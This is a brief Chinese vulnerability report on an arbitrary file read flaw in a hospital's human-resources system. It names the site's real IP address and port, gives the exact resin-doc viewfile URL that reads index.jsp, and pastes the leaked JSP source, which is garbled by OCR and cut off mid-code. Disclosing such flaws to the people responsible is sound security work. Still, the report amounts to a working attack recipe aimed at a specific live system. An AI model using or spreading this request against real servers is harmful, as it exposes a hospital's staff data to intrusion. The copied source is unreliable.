桂平市人民医院人力资源管理系统存在任意文件读取漏洞
1网站首页
http://218.65.238.44:8081/
[image: ]
2在url后添加路径
http://218.65.238.44:8081/resin-doc/viewfile/?file=index.jsp
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可读取index.jsp文件
漏洞存在
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<%@ page session="false” import="com. caucho. vfs.*, com.caucho.server.webapp.*” %>

G
This is the default start page for the Resin server.

You can replace it as you wish, the documentation will
still be available as /resin-doc if it is installed.
—%>

<%

[Ex

* See if the resin-doc webapp is installed
*/

boolean hasResinDoc = false;

boolean hasOrientation = false;

ServletContext docApp = application. getContext(”/resin-doc”);

if (docApp != null) {
String rp = docApp. getRealPath(”index. xtp”) ;

if (rp != null & (new java.io.File(rp)).exists())
hasResinDoc = true;

if (hasResinDoc) {
rp = docApp. getRealPath(“orientation. xtp”) ;
if (rp != null & (new java.io.File(rp)).exists())
hasOrientation = true;




